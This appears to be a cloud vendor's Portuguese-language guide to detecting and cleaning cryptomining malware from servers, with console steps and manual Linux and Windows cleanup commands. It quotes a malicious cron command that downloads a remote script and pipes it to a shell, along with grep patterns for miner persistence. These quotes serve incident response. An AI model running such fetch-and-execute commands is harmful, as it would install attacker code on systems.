Todos os produtos
Search
Central de documentação

Security Center:Melhores práticas para lidar com programas de criptomineração

Última atualização: Sep 23, 2026

Após o comprometimento de uma instância ECS por um programa de criptomineração, os recursos de CPU se esgotam, os serviços corporativos são interrompidos e o malware pode se propagar lateralmente pela rede interna. Este documento descreve um fluxo completo de resposta a incidentes — da contenção imediata e análise de causa raiz à limpeza em múltiplas frentes e ao reforço de segurança a longo prazo — para ajudar você a restaurar rapidamente a segurança do sistema.

Rotas comuns de intrusão por criptomineração

Programas de criptomineração geralmente são instalados em instâncias ECS devido a proteções de segurança insuficientes, e não por problemas de hardware. As rotas de intrusão mais comuns incluem:

  • Ataques de força bruta a senhas SSH fracas: Atacantes buscam portas SSH abertas e utilizam ataques de dicionário para quebrar senhas fracas. Após obterem acesso ao servidor, eles instalam programas de criptomineração.

  • Acesso não autorizado ao Redis: Se o Redis não tiver uma senha configurada ou estiver vinculado a um endereço IP incorreto, os atacantes podem explorar sua capacidade de gravação de arquivos para instalar scripts de criptomineração.

  • Vulnerabilidades em aplicações web: Atacantes exploram vulnerabilidades de RCE ou de upload de arquivos para executar programas de criptomineração diretamente no servidor.

Medidas de proteção:

  1. Utilize o recurso Virus Detection and Removal do Security Center para verificar e remover periodicamente programas de criptomineração. Isso requer a edição Anti-virus ou superior.

  2. No grupo de segurança do ECS, restrinja portas suspeitas (como a 51827) para permitir o acesso apenas de endereços IP confiáveis.

  3. Revise periodicamente as chaves públicas SSH e remova as chaves não autorizadas.

Riscos dos programas de criptomineração e como identificá-los

Riscos

  • Consumo de recursos e degradação: Programas de criptomineração consomem recursos de CPU para realizar cálculos intensivos na mineração de criptomoedas. Isso causa uma exaustão severa da CPU, o que impacta diretamente a operação normal de outras aplicações de negócios no servidor.

  • Propagação semelhante a worms: Assim que o perímetro de segurança é violado, o malware de criptomineração se espalha rapidamente de forma lateral pela rede interna e estabelece mecanismos de persistência nos servidores comprometidos para garantir lucros a longo prazo.

  • Difícil remoção: Programas de criptomineração empregam mecanismos de proteção coordenados, e uma limpeza incompleta resulta em infecções recorrentes. Algumas variantes, como o xorddos, substituem comandos do sistema para que a execução de comandos normais acione scripts maliciosos, dificultando ainda mais a remoção.

Métodos de identificação

  • Degradação drástica de desempenho: A utilização da CPU do servidor excede 80% de forma periódica ou contínua, fazendo com que as aplicações de negócios respondam lentamente ou fiquem completamente indisponíveis.

  • Estabilidade do sistema comprometida: A alta carga computacional gerada pelos programas de criptomineração pode levar a travamentos do sistema ou interrupções de serviço.

  • Recebimento de alertas de segurança: O Security Center envia notificações de alerta ao detectar programas de criptomineração, comunicação com pool de mineração ou acesso a nomes de domínio maliciosos.

  • Mecanismo de detecção: A detecção de criptomineração no Security Center é um mecanismo automático de identificação em backend. Não há uma ferramenta de detecção de autoatendimento dedicada. Visualize os resultados da detecção na página Detection and Response > Security Events no console.

  • Webshell como indicador de alerta precoce: A descoberta de um arquivo de backdoor webshell é um indicador precoce de que um programa de criptomineração pode ter sido instalado. Geralmente, os atacantes fazem o upload de um webshell primeiro e, em seguida, instalam e iniciam o programa de criptomineração. Recomendamos verificar a lista de eventos de segurança para analisar a relação cronológica entre os alertas de webshell e os alertas de criptomineração no mesmo host.

Estratégia de resposta

Responda rapidamente para remover completamente o programa de criptomineração e seus backdoors de persistência, restaurar o desempenho normal do servidor e implementar o endurecimento de segurança para evitar futuros comprometimentos.

Custos e riscos

  • Custos:

    • Security Center: Recursos avançados, como Antivirus e Deep Cleanup, exigem a edição Anti-virus ou superior. Há um teste gratuito de 7 dias disponível.

    • Agentless Detection: Este é um service de pagamento conforme o uso. Adquira o recurso de faturamento Agentless Detection separadamente.

    • Emergency Response Service: Se você não conseguir resolver o problema por conta própria, adquira o Emergency Response Service da Alibaba Cloud para obter suporte de engenheiros de segurança profissionais.

  • Riscos:

    • Riscos da limpeza manual: Operações manuais podem excluir acidentalmente arquivos do sistema ou modificar configurações, fazendo com que o servidor falhe ao inicializar ou interrompendo as operações de negócios. Recomendamos criar um snapshot antes de realizar qualquer limpeza manual.

    • Risco de perda de dados: A reinicialização do disco do sistema exclui permanentemente todos os dados no disco do sistema. Se você não criar um snapshot antes, os dados não poderão ser recuperados.

Arquitetura da solução

Este guia segue um modelo de resposta a incidentes de "descoberta-contenção-limpeza-reforço" e fornece três caminhos de remediação para atender a diferentes capacidades técnicas e cenários de negócios.

  1. Verificação rápida e contenção de emergência: Identifique a ameaça e controle a situação o mais rápido possível para evitar mais danos. As principais ações incluem a identificação de processos e conexões de rede anormais e o uso de um grupo de segurança para isolamento de rede.

  2. Decisão e seleção de caminho: Com base em sua expertise técnica, restrições de tempo e tolerância a riscos, escolha o caminho de limpeza mais adequado entre as três opções a seguir:

    • Limpeza automatizada com o Security Center (Recomendado): Utilize as ferramentas automatizadas fornecidas pelo Security Center para lidar com alertas de forma eficiente e precisa, verificar a presença de vírus e remover backdoors de persistência.

    • Limpeza manual: Ideal para profissionais com vasta experiência em operações e manutenção de Linux/Windows. Envolve uma limpeza profunda do sistema por meio de investigação manual e execução de comandos.

    • Redefinição do sistema: Se a infecção estiver profundamente enraizada ou for recorrente, faça o backup de seus dados e reinicialize o disco do sistema para eliminar a ameaça em sua origem.

  3. Verificação e reforço de segurança: Após a limpeza, verifique se o sistema está operando normalmente e implemente medidas de reforço de segurança.

Procedimento

Verificação rápida e contenção de emergência

Ao receber um alerta ou notar um desempenho anormal do servidor, execute as seguintes ações para diagnóstico inicial e contenção de emergência.

  1. Identifique processos e conexões de rede anormais

    • Verifique processos com alto consumo de CPU: Faça login no servidor e execute o comando top -c ou ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more para identificar processos desconhecidos que estejam consumindo muitos recursos de CPU por um período prolongado.

    • Verifique conexões de rede suspeitas: Execute o comando ss -ntp ou netstat -antp para verificar se há conexões com endereços remotos desconhecidos, especialmente em portas comuns de pools de mineração, como 3333, 5555 e 7775.

  2. Aplique medidas de contenção de emergência

    • Isolamento de rede (Recomendado): Esta é a forma mais rápida e segura de conter a ameaça. Acesse imediatamente o console do ECS, modifique as regras do grupo de segurança do servidor e defina a regra de saída para negar todo o tráfego. Permita o acesso apenas para portas de login remoto (como SSH 22 ou RDP 3389) a partir de endereços IP confiáveis. Essa ação interrompe instantaneamente a comunicação entre o programa de criptomineração e seu pool de mineração.

    • Encerre processos maliciosos: Para qualquer processo malicioso identificado, execute o comando kill -9 <PID> para encerrá-lo. Note que esta é uma medida temporária. O processo provavelmente reiniciará caso você não remova o mecanismo de persistência correspondente.

O Security Center não fornece uma ferramenta dedicada para rastrear endereços IP de mineradores. O backend detecta automaticamente as conexões com pools de mineração. Para obter os endereços IP dos mineradores e dos pools de mineração, escolha Detection and Response > Security Events e verifique os alertas dos tipos suspicious network connection e suspicious network traffic.

Status do servidor após a correção

Desde que o servidor não apresente mais atividade de mineração, o Security Center não desliga nem bloqueia automaticamente a instância do ECS após você tratar um alerta de criptomineração. O Security Center é um service de detecção e alerta e não tem a capacidade de desligar ou bloquear instâncias.

  • Trate um alerta manualmente: No console do Security Center, acesse a página Alert, clique no alerta para visualizar seus detalhes e selecione Handled.

  • Expiração automática: Caso você não trate o alerta manualmente, o sistema o arquiva automaticamente como expired data 30 dias após a geração.

Executar a limpeza

Escolha um dos seguintes métodos de limpeza de acordo com a sua situação.

Limpeza automatizada com o Security Center (recomendado)

Pré-requisitos

  • Você adquiriu a edição Anti-virus, Advanced, Enterprise ou Ultimate do Security Center.

    Nota

    Você também pode activate the 7-day free trial para usar os recursos relacionados.

  • Para realizar uma varredura completa, você deve ativar o recurso Agentless Detection, que é um service com pagamento conforme o uso.

  • Certifique-se de que o agente do Security Center no servidor de destino esteja online.

Etapa 1: Tratar alertas e encerrar processos maliciosos

Use o recurso Alert no Security Center para encerrar processos maliciosos e colocar arquivos de vírus em quarentena, interrompendo rapidamente o programa de mineração de criptomoedas. Para mais informações, consulte Evaluate and handle security alerts. As etapas a seguir fornecem um exemplo.

  1. Faça logon no console do Security Center.

  2. No painel de navegação à esquerda, escolha Detection and Response > Security Events. No canto superior esquerdo do console, selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.

  3. Encontre o alerta de mineração de criptomoedas e clique em Details na coluna Actions para visualizar os detalhes do alerta.

    Importante

    Com base nas informações básicas e na descrição do evento fornecidas no console do Security Center, você pode localizar o programa de mineração de criptomoedas e verificar se há outros alertas ou arquivos suspeitos. Você deve determinar se o arquivo que acionou o alerta é um arquivo legítimo de negócios ou um arquivo executado por um invasor. Se você confirmar que se trata de um ataque, recomendamos que, após tratar o alerta de mineração de criptomoedas, você também trate todos os outros alertas e arquivos suspeitos no servidor.

    Na página de detalhes do alerta, você também pode visualizar o endereço IP do minerador e o endereço IP de destino usado para comunicação com o pool de mineração. Você pode adicionar esses endereços IP a um grupo de segurança e desativá-los para bloquear a conexão.

  4. Retorne à página Alerts para tratar o alerta de mineração de criptomoedas.

    1. Clique em Handle na coluna Actions para o alerta de mineração de criptomoedas de destino.

    2. Na caixa de diálogo Handle Alert, selecione Virus Detection and Removal como o método de tratamento. Em seguida, selecione Terminate Process ou Terminate Process and Quarantine Source File e clique em Handle Now para impedir que o programa seja executado novamente.

      Se você confirmar que o arquivo que causou o alerta não é um arquivo de negócios, recomendamos selecionar Terminate Process and Quarantine Source File para evitar que o vírus infecte ainda mais o seu servidor.

      Nota

      O Security Center oferece suporte ao recurso Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling). Se você precisar processar em lote alertas acionados pela mesma regra ou tipo, poderá selecionar Process similar alerts together (groups alerts triggered by the same rule or type for bulk handling).

  5. Na página Alerts, encontre quaisquer alertas relacionados gerados pelo evento de mineração de criptomoedas (como comunicação com o pool de mineração) e execute a ação Block.

    Nota

    O Security Center gera uma política correspondente para impedir que o servidor acesse o pool de mineração, dando a você tempo suficiente para tratar o evento de segurança. Você também pode adicionar manualmente o endereço IP do pool de mineração a um grupo de segurança para bloquear o acesso. Para mais informações sobre como adicionar uma regra de grupo de segurança, consulte Add a security group rule.

  6. Na página Alerts, verifique se há alertas de anomalia de comportamento de processo para determinar se existem tarefas agendadas anormais e trate esses alertas de acordo. No painel de detalhes do alerta do Security Center, o nome do alerta é Process Anomaly - Linux Scheduled Task Executing Abnormal Commands, com status Pending. Os principais campos incluem:

    • Nome do processo: bash

    • Caminho do processo: /usr/bin/bash

    • ID do processo: 14075

    • Nome de usuário: root

    • Argumentos de linha de comando: /bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

    Descrição do evento: Após a invasão de um hacker, um script de shell malicioso é gravado nas tarefas agendadas do crontab ou systemd para obter execução persistente. A solução recomendada é verificar diretórios como /etc/crontab, /var/spool/cron/ e /var/spool/cron/crontabs/ em busca de arquivos de tarefas agendadas suspeitas e fortalecer as senhas do sistema.

Etapa 2: Varredura profunda e limpeza

Após o encerramento de um processo malicioso, seus mecanismos de persistência, como services de inicialização automática e tarefas agendadas, ainda podem existir. Use o recurso Antivirus no Security Center para fazer a varredura e limpá-los. Para mais informações, consulte Antivirus. As etapas a seguir fornecem um exemplo.

  1. Faça logon no console do Security Center.No painel de navegação à esquerda, escolha Protection Configuration > Host Protection > Virus Detection and Removal. No canto superior esquerdo do console, selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.

  2. Na página Virus Detection and Removal, clique em Scan Now ou Scan Again.

  3. No painel Scan Settings, configure o modo de varredura e o intervalo de varredura e, em seguida, clique em OK.

    • Scan Mode: Selecione Quick Scan.

    • Scan Scope: Selecione o servidor que foi comprometido pelo programa de mineração de criptomoedas.

      Defina o Scan Mode como Quick Scan e use a guia By Asset para filtrar e selecionar o servidor de destino.

  4. Após a conclusão da varredura, na página Virus Detection and Removal, clique em Actions na coluna Handle para o alerta de destino.

  5. No painel Alert Handling, selecione Deep Cleanup, clique em Next e aguarde o sistema processar o alerta.

  6. Após o tratamento do alerta, visualize o resultado e o status do alerta na página Alerts.

    Na caixa de diálogo Handle Alert, selecione Deep Cleanup (recomendado) como o método de tratamento. O Deep Cleanup executa as seguintes operações:

    • Encerra processos de vírus maliciosos

    • Coloca amostras maliciosas em quarentena

    • Remove mecanismos de persistência implantados pelo invasor (incluindo entradas do Crontab e fontes maliciosas de download)

    Na seção do método de reparo, selecione Auto-Create Snapshot and Repair, defina um nome para o snapshot (por exemplo, VirusDefense_AlertRepair_DeepCleanup) e o período de retenção do snapshot (por exemplo, 1 day). O custo do snapshot é de aproximadamente CNY 0,15 por dia para um disco de sistema de 40 GB.

Etapa 3: Varredura completa

Para garantir que não restem arquivos residuais, você pode usar o recurso de detecção sem agente para realizar uma varredura completa de disco offline. Esse recurso oferece suporte apenas à detecção, não à correção. Você deve tratar quaisquer riscos detectados com base nos detalhes fornecidos na página de detalhes do risco. Para mais informações, consulte Agentless Detection.

  1. Faça logon no console do Security Center.Selecione a região onde o ativo a ser protegido está localizado: Chinese Mainland ou Outside Chinese Mainland.

  2. Na guia Agentless Detection > Server Check, na seção Risk Detection, clique em Scan Now.

  3. No painel Scan Now, configure as definições conforme descrito abaixo e, em seguida, clique em OK.

    • Scan Scope: Recomendamos que você selecione os discos de dados. Fontes de dados mais completas melhoram a detecção de vulnerabilidades, alertas e outros riscos.

    • Image Retention Duration:

      • Valores válidos: 1 a 365. Unidade: dias.

      • Você é cobrado pela criação de imagens. Quanto mais tempo você retiver os imagens, maiores serão as taxas.

        Importante

        Se você selecionar Retain Only At-risk Image, o sistema exclui automaticamente imagens livres de riscos após a conclusão da varredura.

  4. Após a criação da tarefa, o Security Center cria automaticamente imagens e executa a varredura. Se forem detectados riscos após a varredura, o sistema também aciona automaticamente a análise de sandbox paralela. Para mais informações, consulte Automatic creation of snapshots and images e Automatically run AI parallel sandbox analysis. Para obter informações sobre como visualizar o progresso e os relatórios da tarefa, consulte View task progress and reports.

    Nota

    Quanto mais dados do servidor forem verificados, mais tempo a tarefa levará. Aguarde a conclusão da tarefa.

  5. Após a conclusão da tarefa de detecção, revise e trate quaisquer riscos de vulnerabilidade detectados, falhas de verificação de linha de base, alertas de segurança e arquivos sensíveis.

Limpeza manual

Os programas de mineração de criptomoedas criam vários backdoors de persistência, o que dificulta a sua remoção. Se você encontrar um vírus de mineração de criptomoedas sem uma assinatura do Security Center, poderá tomar as seguintes medidas para investigar e tratá-lo.

Importante

Este método envolve a modificação de arquivos e configurações. Antes de prosseguir, crie um snapshot dos discos do servidor para garantir que você possa restaurar os dados em caso de erro operacional.

Sistemas Linux

  1. Bloqueie a comunicação de rede maliciosa.

    Após descobrir atividades de mineração de criptomoedas em um host, a primeira etapa é bloquear a comunicação de rede do Trojan de mineração de criptomoedas para controlar imediatamente o impacto, pois uma correção completa pode ser demorada.

    1. Execute o seguinte comando para verificar as conexões de rede atuais do sistema.

      netstat -antp
      [root@ixxx poc]# netstat -antp
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
      tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
      tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
      tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
      tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
      tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
      tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
      tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
      tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
      tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
      tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind
    2. Nos comandos a seguir, substitua C&C address por um endereço remoto suspeito (Foreign Address) que não seja usado pelas suas operações normais de negócios. Em seguida, execute os comandos para adicionar regras de firewall e bloquear todas as conexões de rede entre o servidor e o endereço suspeito.

      iptables -A INPUT -s C&C address -j DROP
      iptables -A OUTPUT -d C&C address -j DROP
  2. Limpe as tarefas agendadas.

    Os Trojans de mineração de criptomoedas costumam usar tarefas agendadas para baixar (atualizar) e iniciar periodicamente o Trojan. Apenas limpar o processo e o arquivo do Trojan não é suficiente para erradicar o programa e pode levar a infecções recorrentes.

    Investigue os seguintes arquivos de tarefas agendadas e remova quaisquer tarefas relacionadas ao download ou à inicialização do Trojan de mineração de criptomoedas.

    • Visualize as tarefas agendadas para o usuário atual ou um usuário especificado (username).

      crontab -l
      crontab -u username -l
    • Todos os arquivos de tarefas agendadas no host.

      /etc/crontab
      /var/spool/cron/
      /etc/anacrontab
      /etc/cron.d/
      /etc/cron.hourly/
      /etc/cron.daily/
      /etc/cron.weekly/
      /etc/cron.monthly/
  3. Limpe os services de inicialização automática.

    1. Execute o seguinte comando para investigar todos os services de inicialização automática no sistema.

      systemctl list-unit-files | grep enabled
    2. Encontre o arquivo de unidade para o service suspeito e verifique seus detalhes.

      Substitua * pelo nome do service e <service_unit_name> pelo nome do arquivo de unidade do service.

      ls -al /etc/systemd/system/*.service
      ls -al /usr/lib/systemd/system/*.service
      
      # View service details (the process file started by the service)
      cat /etc/systemd/system/<service_unit_name>.service
    3. Se você encontrar um service de inicialização automática malicioso, use os seguintes comandos para desativar o service e excluir seu arquivo de unidade.

      Substitua <service name> pelo nome do service e <service_unit_name> pelo nome do arquivo de unidade do service.

      systemctl disable <service name>
      rm /etc/systemd/system/<service_unit_name>.service
      rm /usr/lib/systemd/system/<service_unit_name>.service
    4. Investigue os seguintes caminhos de service em busca de services de inicialização automática e limpe-os usando as etapas acima.

      /etc/rc.local
      /etc/inittab
      /etc/rc.d/
      /etc/init.d/
  4. Limpe as chaves públicas SSH.

    Os Trojans de mineração de criptomoedas costumam adicionar a chave pública SSH do invasor ao arquivo ~/.ssh/authorized_keys. Isso permite que o invasor faça logon no host comprometido sem senha e reinstale arquivos maliciosos. Investigue o arquivo ~/.ssh/authorized_keys e exclua imediatamente quaisquer chaves públicas suspeitas.

  5. Limpe o sequestro de .so .

    Arquivos .so pré-carregados, definidos por meio do arquivo /etc/ld.so.preload, podem sequestrar comandos comuns do sistema, como top, ps e netstat, para ocultar o processo de mineração de criptomoedas.

    1. Execute o seguinte comando para investigar arquivos .so pré-carregados.

      cat /etc/ld.so.preload
    2. Execute o seguinte comando para remover o sequestro de pré-carregamento.

      echo > /etc/ld.so.preload
  6. Limpe contas maliciosas.

    Algumas famílias de Trojans de mineração de criptomoedas criam novas contas de backdoor para manter o controle de longo prazo sobre o host comprometido. Execute os seguintes comandos para verificar se há contas maliciosas e, em seguida, exclua manualmente as informações relevantes da conta.

    • Verifique os logs em busca de atividades recentes de criação de contas.

      cat /var/log/audit/audit.log | grep useradd
      # Or
      cat /var/log/secure | grep 'new user'
    • Verifique o arquivo /etc/passwd em busca de contas suspeitas.

      cut -d: -f1 /etc/passwd
    • Verifique a criação ou a última hora ativa do diretório home de uma conta. Preste atenção especial aos diretórios home criados recentemente.

      stat /home/guest/
  7. Contorne técnicas anti-modificação.

    Após gravar arquivos de persistência, como tarefas agendadas e services de inicialização automática, alguns Trojans de mineração de criptomoedas definem um atributo imutável no arquivo para impedir que o mecanismo de persistência seja excluído.

    [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
    rm: remove regular file '/etc/cron.hourly/logrotate'? y
    rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
    [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
    bash: /etc/cron.hourly/logrotate: Permission denied
    [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
    ----i---------e-- /etc/cron.hourly/logrotate

    Se você encontrar essa situação, execute o seguinte comando para restaurar os atributos do arquivo antes de excluir a tarefa correspondente.

    chattr -i /etc/passwd
    chattr -i /etc/crontab
  8. Encerre o processo do Trojan de mineração de criptomoedas.

    1. Os processos de mineração de criptomoedas geralmente consomem muitos recursos de CPU. Você pode usar os seguintes comandos para investigar processos suspeitos de mineração de criptomoedas.

      • Investigue processos que consomem grande quantidade da CPU do host.

        top -c

        Observe o valor 99.4 us na linha %Cpu(s) (indicando o uso de CPU no espaço do usuário) e o processo /root/.config/logrotate consumindo 395,0% de CPU na lista de processos.

        top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
        Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
        %Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
        KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
        KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem
        
          PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
        16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
        ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
        [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
          PID  PPID CMD                         %CPU
        16901     1 /root/.config/logrotate      208
         8988  8847 /root/.vscode-server/bin/2d  3.9
      • Investigue comportamentos anormais de conexão de rede.

        netstat -antp

        A saída mostra que o processo 16901/logrotate tem uma conexão de rede ESTABLISHED anormal, o que é um comportamento suspeito.

        [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
        Active Internet connections (servers and established)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
        tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
        tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
        tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
        tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
        tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
        tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
        tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
        tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
        tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
        tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
        tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
        tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
        tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
        tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
        tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
        tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind
      • Obtenha o caminho do arquivo do processo suspeito.

        ls -al /proc/$PID/exe
      • Calcule o hash MD5 do arquivo do processo e pesquise-o na plataforma Alibaba Cloud Threat Intelligence.

        md5sum /proc/$PID/exe

        A página de resultados da consulta exibe as seguintes informações:

        • Nível de risco do arquivo (por exemplo, Medium) e atividade recente.

        • Detalhes do arquivo, incluindo o nome do arquivo, ambiente de execução e hora da primeira descoberta.

        • Valores de hash, incluindo MD5, SHA1 e SHA256.

        • Tags de ameaça (por exemplo, Cryptomining).

    2. Execute os seguintes comandos para encerrar o processo de mineração de criptomoedas e limpar o arquivo do Trojan.

      kill -9 $PID
      # Delete the process path obtained from ls -al /proc/$PID/exe
      rm /path/to/executable

Sistemas Linux (casos específicos de mineração de criptomoedas)

Mineração de criptomoedas disfarçada de AliyunDuns

  1. Execute os seguintes comandos para investigar entradas persistentes de inicialização automática.

    grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
    grep -rl "wget"  /etc/cron.hourly/*
  2. Se algum resultado for encontrado, existe um service de inicialização automática. Execute os seguintes comandos para excluí-lo.

    rm -f /etc/systemd/system/sysetmd.service
    rm -f /etc/systemd/system/monero.service
    rm -f /etc/systemd/system/A_li_yun_Duns.service
    chattr -i /etc/cron.hourly/0
    rm -f /etc/cron.hourly/0
  3. Investigue e trate usuários suspeitos.

    1. Execute o seguinte comando para consultar a lista de usuários do sistema e identificar o nome de usuário suspeito.

      cat /etc/passwd
    2. Execute o seguinte comando para visualizar informações sobre um usuário anormal do sistema. Neste exemplo, o usuário é shaojiang99.

      cat /etc/passwd | grep shaojiang99
      cat /etc/shadow | grep shaojiang99
    3. Execute o seguinte comando para excluir o usuário suspeito do sistema.

      chattr -i /etc/passwd
      chattr -i /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/passwd

Correção manual para Skidmap

  1. Execute os seguintes comandos para excluir as entradas do service de inicialização automática.

    echo "" > /lib/systemd/system/systemd-cgroup.service
    echo "" > /lib/systemd/system/systemd-deltaed.service
    echo "" > /usr/bin/systemd-cgroup.org
    echo "" > /usr/bin/systemd-cgroup
    echo "" > /usr/bin/systemd-deltaed
    echo "" > /usr/bin/systemd-deltaed.org
  2. Limpe manualmente o arquivo de chave pública SSH authorized_keys removendo quaisquer chaves suspeitas.

Correção manual para Cleanfda

  1. Investigue os seguintes caminhos de tarefas agendadas em busca de execução de scripts suspeitos (por exemplo, /etc/upat.sh).

    /var/spool/cron/
    /etc/cron.d/
    /var/spool/cron/crontabs
    /etc/crontab
  2. Investigue comandos modificados (programas originais como ps, pstree e top serão renomeados com o sufixo .original).

    ls -al /usr/bin | grep original
  3. Investigue chaves públicas SSH e exclua quaisquer chaves desconhecidas.

    cat ~/.ssh/authorized_keys
    cat /root/.ssh/authorized_keys

Exemplo:

# Restore modified commands
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# Restore editing permissions for scheduled task files
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# Delete suspicious scheduled tasks and payloads
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# Delete suspicious public keys
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

Mineração de criptomoedas da família Outlaw

  1. Investigue todas as tarefas agendadas do cron em busca da string .configrc5/.

    • Caminhos de tarefas agendadas:

      /var/spool/cron/root
      /var/spool/cron/
      /etc/cron.d/
      /var/spool/cron/crontabs
      /etc/crontab
    • Execute os seguintes comandos para investigar.

      grep -r ".configrc5/" /var/spool/cron/*
      grep -r ".configrc5/" /etc/cron*
  2. Se encontrado, execute os seguintes comandos para excluir os arquivos relacionados.

    rm -rf /tmp/.X2xi-unix/.rsync
    rm -rf ~/.configrc5

Mineração de criptomoedas da família kinsing

  1. Execute o seguinte comando para investigar tarefas agendadas do cron. Procure por conteúdo semelhante a gi.sh | bash > /dev/null. Se existir, exclua essa linha.

    grep -r "gi.sh | bash > /dev/null" /etc/cron*
    grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*
  2. Execute o seguinte comando para verificar se o service /lib/systemd/system/bot.service existe.

    cat /lib/systemd/system/bot.service 
  3. Se o service existir, execute o seguinte comando para verificar o arquivo libsystem.so em /etc/ld.so.preload.

    cat /etc/ld.so.preload
  4. Após localizar o caminho do arquivo libsystem.so, exclua o arquivo.

Sistemas Windows

  1. No PowerShell, execute o seguinte comando para investigar processos suspeitos de mineração de criptomoedas com base no uso de CPU.

    Nota
     ps | sort -des cpu
     While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}
  2. Execute o seguinte comando para visualizar o caminho do executável e os argumentos de linha de comando do processo de mineração de criptomoedas.

    Nota
    wmic process where processid=xxx get processid,executablepath,commandline,name     // xxx is the process PID
  3. Encerre o processo de mineração de criptomoedas e limpe o arquivo do Trojan.

  4. Execute o comando a seguir para verificar se há conexões em portas de rede suspeitas.

    Nota
    netstat -ano | findstr xxx            // xxx is the suspicious network port
  5. Execute o comando a seguir para verificar se o arquivo hosts do servidor contém o endereço do pool de mineração do programa de criptomineração.

    Nota
    type  C:\Windows\System32\drivers\etc\hosts
  6. Execute o comando a seguir para verificar se há tarefas agendadas configuradas pelo programa de criptomineração.

    Nota
    schtasks /query

Restaurar o sistema

Se o vírus tiver se infiltrado profundamente no sistema, o problema persistir após a limpeza manual ou o servidor não contiver dados comerciais críticos, recomendamos esta opção. Faça backup dos dados importantes antes de restaurar o sistema do servidor para garantir a remoção completa do programa de criptomineração.

